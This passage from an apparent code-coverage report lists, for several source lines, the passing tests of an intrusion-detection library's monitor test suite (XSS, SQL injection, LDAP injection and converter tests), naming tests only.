class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel73": { - "header": "35 tests cover line 73", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel75": { - "header": "35 tests cover line 75", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel89": { - "header": "35 tests cover line 89", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel90": { - "header": "35 tests cover line 90", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel93": { - "header": "8 tests cover line 93", - "body": "<ul><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel94": { - "header": "8 tests cover line 94", - "body": "<ul><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel96": { - "header": "8 tests cover line 96", - "body": "<ul><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel98": { - "header": "8 tests cover line 98", - "body": "<ul><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel99": { - "header": "8 tests cover line 99", - "body": "<ul><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel100": { - "header": "8 tests cover line 100", - "body": "<ul><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel102": { - "header": "35 tests cover line 102", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel103": { - "header": "35 tests cover line 103", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel105": { - "header": "35 tests cover line 105", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel119": { - "header": "35 tests cover line 119", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel120": { - "header": "35 tests cover line 120", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel123": { - "header": "35 tests cover line 123", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li 